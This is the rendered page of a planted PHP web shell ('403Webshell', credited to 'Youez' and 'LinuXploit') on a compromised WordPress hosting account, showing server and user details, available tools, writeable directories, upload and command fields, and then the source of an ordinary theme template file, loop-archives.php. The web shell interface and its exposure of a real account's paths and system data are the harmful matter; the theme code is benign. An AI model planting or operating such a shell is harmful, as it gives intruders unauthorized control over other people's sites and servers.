403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/loop/loop-archives.php
<?php /* Loop Name: Loop archives */ ?>
<div class="post-content">
<?php the_content(); ?>
</div>
        <div class="archive_lists">
		
            <div class="row category-filter">
<div class="col-md-4 col-sm-4 col-xs-4" >

	<form id="category-select" class="category-select" action="<?php echo esc_url( home_url( '/' ) ); ?>" method="get">

		<?php
		$args = array(
			'show_option_none' => esc_html__( 'Select category', 'novablog' ),
			'show_count'       => 1,
			'orderby'          => 'name',
			'echo'             => 0,
		);
		?>

		<?php $select  = wp_dropdown_categories( $args ); ?>
		<?php $replace = "<select$1 onchange='return this.form.submit()'>"; ?>
		<?php $select  = preg_replace( '#<select([^>]*)>#', $replace, $select ); ?>

		<?php echo balanceTags($select); ?>


	</form>
</div>
<div class="col-md-4 col-sm-4 col-xs-4" >

				<select name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
  <option value=""><?php esc_html_e('Select Month', 'novablog'); ?></option> 
  <?php wp_get_archives( array( 'type' => 'monthly', 'format' => 'option', 'show_post_count' => 1 ) ); ?>
</select>
</div>
<div class="col-md-4 col-sm-4 col-xs-4" >
<?php get_search_form(); ?>

</div>
</div>
        </div>
		
<div class="grid js-masonry ajax-container row">
<?php 

	if ( get_query_var('paged') ) {
		$paged = get_query_var('paged');
	} elseif ( get_query_var('page') ) {
		$paged = get_query_var('page');
	} else {
		$paged = 1;
	}

$args = array( 'post_type' => 'post', 'paged' => $paged, 'posts_per_page'=>6, 'ignore_sticky_posts' => 1 );
$counter = 1;
$loop = new WP_Query( $args );
	 if ($loop->have_posts()) : 
	 while ($loop->have_posts()) : $loop->the_post();
	 ?>
<?php  if ($counter % 3 == 0) { $gridol = '4';}else{$gridol = '4';}?>
<div id="post-<?php the_ID(); ?>" class="post-list_h ajax-post-wrapper block col-xs-12 col-sm-6 col-md-<?php echo esc_attr($gridol); ?>" > 

<?php 
/**
* Grid post template
*/ 
				$thumb = get_post_thumbnail_id();
				$img_url = wp_get_attachment_url( $thumb,'full');
				$img_width = 374;
				$img_height = 374;
				$img = aq_resize( $img_url, $img_width, $img_height, true, true, true );
?>
		<div class="post_content grid-block">
<?php  if(has_post_thumbnail()) { ?>
<div class="thumb-container">
	<a class="archive-button" href="<?php esc_url(the_permalink()); ?>" title="<?php esc_attr(the_title()); ?>">
							<div class="thumbnail">
								<img src="<?php echo esc_url($img); ?>" width="<?php echo esc_attr($img_width); ?>" height="<?php echo esc_attr($img_height); ?>" alt="<?php esc_attr(the_title());?>" >
							</div>
</a>
		
	<header class="post-header">
		<div class="meta-space-top">
			<?php if(novablog_getVariable('post_category') != 'no'){ ?>
		<span class="post_category"><?php echo theme_locals('cat_in');?> <?php the_category(', ');?></span>
		
		<?php } ?>
</div>
	<h5 class="grid-post-title"><?php the_title(); ?></h5>

<?php if (novablog_getVariable('post_date')=='yes' or novablog_getVariable('post_date')=='') {novablog_post_meta(array('date'), false, 'meta-space-top');} ?>


			
</header></div>
<?php } ?>
</div>
	
</div>
<?php $counter ++ ; 
 endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else: ?>	
<?php get_template_part( 'content', 'none' ); ?>
<?php endif; ?>
</div>
<div class="row pagination-below">
					<div class="col-md-12">
					<?php 
$pagination_type = novablog_getVariable('pagination_type');
if(function_exists('novablog_hs_pagination') && $pagination_type=='pagnum') : ?>
  <?php novablog_hs_pagination($loop->max_num_pages); ?>
<?php endif; ?>
<?php 
if ( $loop->max_num_pages > 1 && $pagination_type=='paglink' ) : ?>
    <div class="paglink">
      <span class="pull-left">
	  <?php previous_posts_link(theme_locals("newer")); ?>
	  </span>
	   <span class="pull-right">
        <?php next_posts_link(theme_locals("older"), $loop->max_num_pages); ?>
	  </span>
    </div>
					<?php endif; ?>
  		<?php
		if ( $loop->max_num_pages > 1 && $pagination_type=='loadmore' or $loop->max_num_pages > 1 && $pagination_type=='infinite' ) { 
		$all_num_pages = $loop -> max_num_pages;
  $next_page_url = novablog_next_page($all_num_pages);

?>
<div class="ajax-pagination-container">
  <a href="<?php echo esc_url($next_page_url); ?>" id="ajax-load-more-posts-button"></a>
</div>
<?php } ?>
</div></div>

Youez - 2016 - github.com/yon3zu
LinuXploit